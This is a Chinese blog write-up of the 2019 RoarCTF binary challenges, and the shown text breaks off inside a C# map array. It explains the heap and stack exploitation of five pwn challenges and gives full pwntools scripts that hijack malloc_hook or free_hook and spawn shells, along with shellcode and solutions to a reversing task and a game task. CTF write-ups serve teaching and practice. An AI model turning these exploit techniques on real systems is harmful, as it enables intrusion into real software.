Article January 03, 2020

2019roarCTF二进制部分题解

Words count 129k Reading time 1:57 Read count 0

一、PWN

1、easy_pwn

这题是简单题,漏洞点在edit函数:

57155659974

当我们edit时输入的size大于malloc申请时输入的size,多出10即可实现offbyone,这里malloc时只能小于0x100,所以很明显直接extend我们的chunk,先扩大然后free再malloc回来即可实现下溢出修改,大概思路如下:

1、extend the chunk,切割放真实地址到我们的used的chunk,泄露出来

2、修复chunk,再free,然后通过下溢出修改这个free的chunk,实现fake_chunk链入

3、改malloc_hook为onegadget,realloc调整偏移即可getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./easy_pwn')
if local:
p = process('./easy_pwn')
libc = elf.libc
else:
p = remote('192.168.100.20',50001)
libc = ELF('./libc-2.18.so')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size):
ru("choice: ")
sl('1')
ru("size: ")
sl(str(size))
def free(index):
ru("choice: ")
sl('3')
ru("index: ")
sl(str(index))
def edit(index,size,content):
ru("choice: ")
sl('2')
ru("index: ")
sl(str(index))
ru("size: ")
sl(str(size))
ru("content: ")
sd(content)
def show(index):
ru("choice: ")
sl('4')
ru("index: ")
sl(str(index))

malloc(0x28)
malloc(0x28)
malloc(0x68)
malloc(0x68)
malloc(0x28)
py = ''
py += 'a'*0x20
py += p64(0) + '\xb1'
edit(1,0x28+10,py)
py = ''
py += p64(0)*7 + p64(0x31)
py = py.ljust(0x68,'\x00')
edit(3,0x68,py)
free(2)
# bk(0)
malloc(0x80)
show(3)
rc(0x29)
libc_base = u64(rc(8)) - 0x3c4b78
print "libc_base--->" + hex(libc_base)
fake_chunk = libc_base + libc.sym['__malloc_hook'] - 0x23
realloc = libc_base + libc.sym['realloc']
onegadget = libc_base + 0x4526a
py = ''
py += 'h'*0x60
py += p64(0) + p64(0x71)
edit(2,0x70,py)
free(3)
py = ''
py += 'a'*0x68 + p64(0x71)
py += p64(fake_chunk) + p64(0)
edit(2,0x80,py)
# bk(0)
malloc(0x68)
malloc(0x68)
py = ''
py += 'a'*11 + p64(onegadget) + p64(realloc+2)
edit(5,len(py),py)
# debug(0x000000000000CCC)
malloc(0x50)
p.interactive()

2、realloc

这题比较巧妙,结合的知识点还是不错的,下面来看看:

57164378555

57164395445

熟悉的菜单题,free函数有UAF漏洞,这里show函数被限制了,只有变量为0xDEADBEEFDEADBEEF才能输出,但是输入的name和info刚好在0x602090的上面和下面,很自然想到house of spirit去伪造堆块再申请出来,修改变量即可,但是由于没有堆地址覆盖,所以正常free掉这个fake_chunk是无法实现的,但是可以利用UAF漏洞,如果能实现double free的话,就可以写入FD指针,从而申请出来。

57164380488

malloc的功能,能申请的堆块在fastbin以内(0x80),正常的输入content

57164479758

这是666时,这里使用第4次时,会提示付出代价,但是跳过再次使用666,就可以无限次使用了,calloc的功能,申请0xA0的堆块,正常读入content,free有UAF漏洞。

57164528792

好了,到这里程序就分析完了,接着就是漏洞利用思路:

1、double free的实现:

1
2
3
4
5
6
7
8
9
magic(2,'kkkk')
magic(1,'aaaaaaaa')
malloc(0x40,'ffff')
magic(2,'gggg')
malloc(0x60,'hhhh')
malloc(0x60,'oooo')
free()
magic(2,'gggg')
free()

解释下,先申请0xA0的堆块,后面0x40格挡,再free掉0xA0,malloc切割出0x60,这时,由于UAF,虽然ptr处的指针还是0xA0的堆块指针,但是size变成了0x60,我们再次malloc时,得到的是新的堆块,指针放到buf中,这样buf和ptr中都有0x60的堆块指针,121实现doublefree。

2、将fake_chunk写入FD,申请出来再改写变量,这里同时可以往0x602060的FD写入0x602060,伪造double free,这样就可以再次使用这个堆块了(类似ubuntu18下的tcache的dbfree)。

3、show出puts的got,得到真实地址,接着再申请得到0x602060,改写FD得到malloc_hook-0x23处的fake_chunk,申请出来改写malloc_hook为onegadget

4、由于show后关闭了输出,onegadget一直打不通,realloc调整偏移也是不行,这里师兄提示说dbfree触发malloc_printer,会调用malloc触发malloc_hook,于是才打通了

上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./easyheap')
if local:
p = process('./easyheap')
libc = elf.libc
else:
p = remote('192.168.100.20',50001)
libc = ELF('./libc-2.18.so')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru(">> ")
sl('1')
ru("input the size")
sl(str(size))
ru("please input your content")
sd(content)

def free():
ru(">> ")
sl('2')

def show():
ru(">> ")
sl('3')

def magic(choice,content):
ru(">> ")
sl('666')
if choice==1:
ru("build or free?")
sl(str(choice))
ru("please input your content")
sd(content)
else:
ru("build or free?")
sl(str(choice))
def malloc1(size,content):
sl('1')
sl(str(size))
sd(content)

def free1():
sl('2')

def magic_calloc(content):
sl('666')
sl('1')
sl(content)

def magic_free():
sl('666')
sl('2')

puts_got = elf.got["puts"]
ru("please input your username:")
sl(p64(0) + p64(0x71) + p64(0x602060))
ru("please input your info:")
sl(p64(0) + p64(0x41))
fake_chunk = 0x602060
magic(2,'kkkk')
magic(2,'kkkk')
magic(2,'kkkk')
ru(">> ")
sl('666')
magic(2,'kkkk')
magic(1,'aaaaaaaa')
malloc(0x40,'ffff')
magic(2,'gggg')
malloc(0x60,'hhhh')
malloc(0x60,'oooo')
free()
magic(2,'gggg')
free()
malloc(0x60,p64(fake_chunk))
malloc(0x60,p64(fake_chunk))
malloc(0x60,p64(fake_chunk))
py = ''
py += p64(0x602060)*3 + p64(puts_got) + p64(0xDEADBEEFDEADBEEF)
malloc(0x60,py)
show()
libc_base = u64(rc(6).ljust(8,'\x00')) - libc.sym["puts"]
print "libc_base--->" + hex(libc_base)
onegadget = libc_base + 0xf1147
chunk = libc_base + libc.sym["__malloc_hook"] - 0x23
realloc = libc_base + libc.sym["realloc"]
bk(0x000000000400AA2)
ru("everything has a price")
malloc1(0x60,p64(chunk))
malloc1(0x60,p64(chunk))

py = ''
py += 'A'*11 + p64(onegadget) + p64(realloc+0x14)
malloc1(0x60,py)
sl('2')
sl('2')
p.interactive()

3、ez_op

模拟虚拟机,没有任何防护,直接改 free 的hook 为 system函数即可,最后留下字符串 sh 为参数就能起shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm-f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP,signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols ='''

# '''

# f =open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}',salt))
# #os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o/tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn1'
# sh = process(execve_file, env={'LD_PRELOAD':'/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('39.97.182.233', 41610)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x0804A36C
c
'''

f = open('/tmp/gdb_pid{}'.replace('{}',salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}',salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass

PUSH = 0x2A3D
POP = 0xFFFF28
GET = -1
ADD = 0
SUB = 0x11111
DIV = 0x514
SET = 0x10101010
system_addr = 0x08051C60
__free_hook_addr = 0x80E09F0

opcode = [
PUSH,
PUSH,
PUSH,
GET,
PUSH,
SUB,
DIV,
SET,
]
payload = ' '.join([str(v) for v in opcode])
sh.sendline(payload)

data = [
system_addr,
4,
67,
__free_hook_addr+ 4,
u32('sh\0\0'),
]
payload = ' '.join([str(v) for v in data])
sh.sendline(payload)

sh.interactive()

具体分析,emmm,跟着师傅的exp学习~

4、checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal, binascii

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm-f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP,signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols ='''

# '''

# f =open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc-g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# #os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o/tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './checkin'
# sh = process(execve_file, env={'LD_PRELOAD':'/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/40gx$rebase(0x203040)
end
# b*$rebase(0x1544)
b realloc
'''

f = open('/tmp/gdb_pid{}'.replace('{}',salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}',salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass


def pull(index, hex):
sh.sendlineafter('choice:', '1')
sh.sendlineafter(':\n', str(index))
sh.sendlineafter(':\n', hex)

def fire(index):
sh.sendlineafter('choice:', '2')
sh.sendlineafter(':\n', str(index))
sh.recvuntil(':\n')
return sh.recvuntil('Discard',drop=True)

def bomb():
sh.sendlineafter('choice:', '3')
sh.recvuntil('0x')
returnsh.recvuntil('\n', drop=True)

pull(9, '01')
pull(12, '01')

pull(0, '11' * 0x58)
pull(1, '22' * 0x58)
fire(0)
fire(1)
result = fire(0)[-8:]
heap_addr = u64(result, endian='big') - 0xb20
log.success('heap_addr: ' + hex(heap_addr))

fire(1)
fire(0)
fire(1)
fire(0)
pull(2, '11' * 0x410)

result = fire(0)[-8:]
libc_addr = u64(result, endian='big') - 0x3ebd00
log.success('libc_addr: ' + hex(libc_addr))

pause()
chunk_addr = p64(libc_addr + libc.symbols['__malloc_hook']+ 0x10 - 0x33, endian='big')
pull(0, binascii.b2a_hex(chunk_addr ))
pull(3, '11' * 0x58)

system = p64(libc_addr + libc.symbols['system'], endian='big')

pull(6, binascii.b2a_hex('/bin/sh\0'[::-1]))
payload = '00' * 8 + binascii.b2a_hex(system) + '11' * 0xb
payload = payload.rjust(0x58 * 2, '1')
pull(4, payload)
pull(6, '11' * 0x18 + binascii.b2a_hex('/bin/sh\0'[::-1]))

sh.interactive()
clear()

用gmp库实现的RSA算法,参数 e 可控,所以可以控制其在内存中的内容。

利用解密函数泄露出heap地址和libc地址,再根据realloc 函数的特性劫持 hook 即可。

这题很秀,RAS算法实现了堆块的处理,这年头算法+二进制已经开始流行了?跟着师傅的exp学习(不会做的意思)

5、easy_rop

这题有个很明显的栈溢出漏洞,但是出题人想坑人,所以设置了个下标在栈中,所以防止下下标覆盖即可,在下标处填写我们ret到下标的偏移即可实现溢出,就这一个小坑,还有就是禁用了execve函数,所以要open,read,write来读取flag,自己写好汇编代码即可,同时要记得利用mprotect函数给bss段附上可读可写可执行的权限来执行shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./easy_rop')
if local:
p = process('./easy_rop')
libc = elf.libc
else:
p = remote('192.168.100.20',50001)
libc = ELF('./libc-2.18.so')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
puts_plt = elf.sym["puts"]
puts_got = elf.got["puts"]
pop_rdi_ret = 0x0000000000401b93
main = 0x0000000004019F3
# bk(0x0000000000401A60)
bss = elf.bss()

py = ''
py += 'a'*0x418 + p8(0x28)
py += p64(pop_rdi_ret)
py += p64(puts_got)
py += p64(puts_plt)
py += p64(main)
ru(">> ")
sl(py)
ru("path.\n\x00")
puts_addr = u64(rc(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym["puts"]
print "libc_base---->" + hex(libc_base)
mprotect = libc_base + libc.sym["mprotect"]
pop_rsi_ret = libc_base + 0x202e8
pop_rdx_ret = libc_base + 0x01b92
gets = libc_base + libc.sym['gets']

bk(0x00401AB4)
py = ''
py += 'a'*0x418 + p8(0x28)
py += p64(pop_rdi_ret)
py += p64(bss)
py += p64(gets)
py += p64(pop_rdi_ret)
py += p64(bss&0xfffffffffffff000)
py += p64(pop_rsi_ret)
py += p64(0x1000)
py += p64(pop_rdx_ret)
py += p64(7)
py += p64(mprotect)
py += p64(bss)
ru(">> ")
sl(py)

#open("./flag",0) read(3,buf,0x100) write(1,buf,0x100)
shellcode = asm('''
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
mov rsi, 0
mov eax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov eax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov eax, 1
syscall
''')
sl(shellcode)
p.interactive()

这是一道不错的栈溢出的题目,值得学习,收益就是rop链的新发现,同时锻炼下手写shellcode的能力。

6、realloc_magic

这一道题刚好可以用来复现realloc的知识

1
realloc(realloc_ptr, size);

这是源码函数,这里直接记住以下三条即可:(size-pre_size)我们称为阀值,分3种情况分析:

1、当size>pre_size时,如果后面有free状态的堆块,且大小合起来足够,则可以吃掉,但是ptr指针不变,如果不够,就会切割topchunk,free原来的堆块,变成新的堆块,指针变化(当topchunk都不够了,就会free掉原来的堆块,从而申请新的满足size的堆块(mmap申请),再把原来的内容拷贝过去)

2、当size=pre_size时,什么也不做,得到的chunk还是原来的chunk

3、当size<pre_size时,缩小堆块,具体就是先free掉原来的堆块,再malloc(size),而多出的部分就是free状态的

4、当size=0时,也就是说阀值等于-pre_size,那么就是free掉这个chunk,相当于UAF的free

其实重点就是1,3,4,特别是4可以造成UAF的free,漏洞很大

下面开始分析程序:

这道题保护全开:

再看看有漏洞的函数:

57172545874

free有UAF漏洞

57172837796

realloc没什么毛病

57172839826

这是个将指针清空的函数,意味着可以重新申请一个新堆块,和之前的无关

这题就分析完了:知道的内容就这些

1、原本只能realloc一个堆块,free也是对一个堆块操作,利用ba可以申请2个堆块

2、free有UAF漏洞

下面是解题的思路分析:

1、首先没有show函数,肯定是io_file泄露真实地址

2、劫持的话要写0x7f的main_arena的地址到FD指针,因为tcache不检查size,所以直接链接到FD即可

这里实现的方法是利用realloc的拓展实现溢出操作,通过修改下一个堆块的size和FD指针,实现堆块变身从而将其从tcache中取处,再次free时,就是free改了size后的堆块,就会从原来tcache大小的箱子中去除,去到新的tcache大小的箱子中,留下的就是FD指针的堆块,这就是解题的关键!

3、利用UAF漏洞,写free_hook到FD,再次写入onegadget即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')

local = 1
elf = ELF('./realloc')
if local:
p = process('./realloc')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def pwn():
def realloc(size,content):
ru(">> ")
sl('1')
ru("Size?\n")
sl(str(size))
if size>0:
ru("Content?\n")
sd(content)
def realloc2(size,content):
ru(">> ")
sl('1')
ru("Size?")
sl(str(size))
if size>0:
ru("Content?")
sd(content)
def ba():
ru(">> ")
sl('666')
def free():
ru(">> ")
sl('2')

realloc(0x50,'AAAA')
realloc(0,'a')
realloc(0x90,'BBBB')
realloc(0,'a')
realloc(0x20,'CCCC')
realloc(0,'a')
realloc(0x90,'bbbb')
for i in range(7):
free()
realloc(0,'b')
realloc(0x50,'AAAA')
py = ''
py += 'a'*0x50
py += p64(0) + p64(0x71)
py += p16(0x771d)
realloc(0xe0,py)

# debug(0)
realloc(0,'n')
realloc(0x90,'LLLL')
realloc(0x0,'l')

py = ''
py += '\x00'*0x43 + p64(0xfbad1800) + p64(0)*3 + '\x00'
realloc(0x90,py)

rc(8)
libc_base = u64(rc(8))-0x3ed8b0
print "libc_base--->" + hex(libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
one_gadget = libc_base + 0x4f322

ba()

py = ''
py += 'a'*0x50
py += p64(0) + p64(0x111)
py += p64(free_hook)
realloc2(0xf0,py)
realloc2(0,'a')
realloc2(0x68,'NNNN')
realloc2(0x0,'k')
realloc2(0x68,p64(one_gadget))
free()
# pwn()
i = 0
while 1:
i = i + 1
print i
try:
pwn()
except Exception as e:
p.close()
if local:
p = process('./realloc')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
continue
else:
sl('ls')

p.interactive()

# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

总结:这题就是IO_File泄露地址+realloc堆块的分配操作,难在把0x7f的地址申请出来,这一步巧妙的是,通过realloc的堆块拓展,往下覆盖,改size,从而实现去除挡在FD前面的堆块,实现申请出来FD指针所在处的堆块,其他都是常规操作。

2、RE

polyre

这题是控制流平坦化,和当时SUCTF那题很像,由于程序这样分析比较复杂,所以可以用anger化简一下:

57181516626

57181505496

这是可以看出来,外层6重循环,每重取8个字节,内层64重循环,进行一个比较再加密,简略地看就是:

1
2
3
4
5
6
7
8
i=0
#x=?
while(i<64):
if x>=0:
x=x<<1
else:
x=(x<<1)^0xB0004B7679FA26B3
i=i+1

加密的数据放在栈中,可以从内存中动态调试得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<cstdio>
char encode[48] = { 0x96, 0x62, 0x53, 0x43, 0x6D, 0xF2, 0x8F,0xBC, 0x16, 0xEE,0x30, 0x05, 0x78, 0x00, 0x01, 0x52, 0xEC, 0x08, 0x5F, 0x93,
0xEA, 0xB5,0xC0, 0x4D, 0x50, 0xF4, 0x53, 0xD8, 0xAF, 0x90,
0x2B, 0x34,0x81, 0x36, 0x2C, 0xAA, 0xBC, 0x0E, 0x25, 0x8B,
0xE4, 0x8A,0xC6, 0xA2, 0x81, 0x9F, 0x75, 0x55 };
int main() {
long long* e =(long long*)encode;
for (size_t i =0; i < 6; i++)
{
printf("%llx\n",e[i]);
}
printf("\n");
for (int i = 0;i < 6; i++) {
for (size_tj = 0; j < 64; j++)
{
if(!(e[i]&1) ) { e[i]= (unsigned long long) e[i]>> 1;}
else {
e[i] = ((unsigned long long)e[i] ^ 0xB0004B7679FA26B3) >> 1;
e[i] |= 0x8000000000000000;
}
}
}
for (size_t i = 0; i < 48; i++)
{
printf("%c",encode[i]);
}
}
//flag{6ff29390-6c20-4c56-ba70-a95758e3d1f8}

3、Misc

坦克大战的题目,挺有意思的,是一个unity 3D的游戏,直接去找Assembly-CSharp.dll文件,用ILspy反编译一下C#的代码,各个函数如下图所示:

57181583040

可以分析一波各个函数,就知道逻辑在playerManager那里:

57181587667

这题初始化中,对于图上的每个物品都有相应的标识:

空是8,基地是0,水是4,草地是5,砖块是1,同时打穿砖块,就会从1变成8,而基地爆了就会从0变成9,同时win的条件就是DestroyNum变成4或者5,这里是复现时,看到有张图现用了:

57181598157

57181611306

这题到这里就分析的差不多了,现在就是打爆砖块或者基地,使得DestroyNum变成4或者5就可以了,但是这里遇到一个排列组合的问题,由于写不出脚本,当时就gg了没做出来,赛后看了大佬的wp,果然是爆破,这是关键的一步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;


namespace TankGameMISCExp
{
class Exp
{
const int w = 21;

const int h = 17;

static int[,] map = new int[w, h]
{
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, },
{8, 8, 4, 5, 8, 1, 1, 1, 1, 1, 1, 8, 8, 8, 8, 4, 8, },
{8, 2, 8, 1, 8, 8, 5, 1, 8, 8, 8, 1, 8, 1, 8, 4, 8, },
{8, 5, 8, 2, 8, 8, 8, 8, 1, 8, 8, 4, 8, 1, 1, 5, 8, },
{8, 8, 8, 8, 2, 4, 8, 1, 1, 8, 8, 1, 8, 5, 1, 5, 8, },
{8, 8, 8, 8, 5, 8, 8, 1, 5, 1, 8, 8, 8, 1, 8, 8, 8, },
{8, 8, 8, 1, 8, 8, 8, 8, 8, 8, 8, 8, 1, 8, 1, 5, 8, },
{8, 1, 8, 8, 1, 8, 8, 1, 1, 4, 8, 8, 8, 8, 8, 1, 8, },
{8, 4, 1, 8, 8, 5, 1, 8, 8, 8, 8, 8, 4, 2, 8, 8, 8, },
{1, 1, 8, 5, 8, 2, 8, 5, 1, 4, 8, 8, 8, 1, 5, 1, 8, },
{0, 1, 4, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, },
{1, 1, 8, 1, 8, 8, 2, 1, 8, 8, 5, 2, 1, 8, 8, 8, 8, },
{8, 8, 8, 8, 4, 8, 8, 2, 1, 1, 8, 2, 1, 8, 1, 8, 8, },
{8, 1, 1, 8, 8, 4, 4, 1, 8, 4, 2, 4, 8, 4, 8, 8, 8, },
{8, 4, 8, 8, 1, 2, 8, 8, 8, 8, 1, 8, 8, 1, 8, 1, 8, },
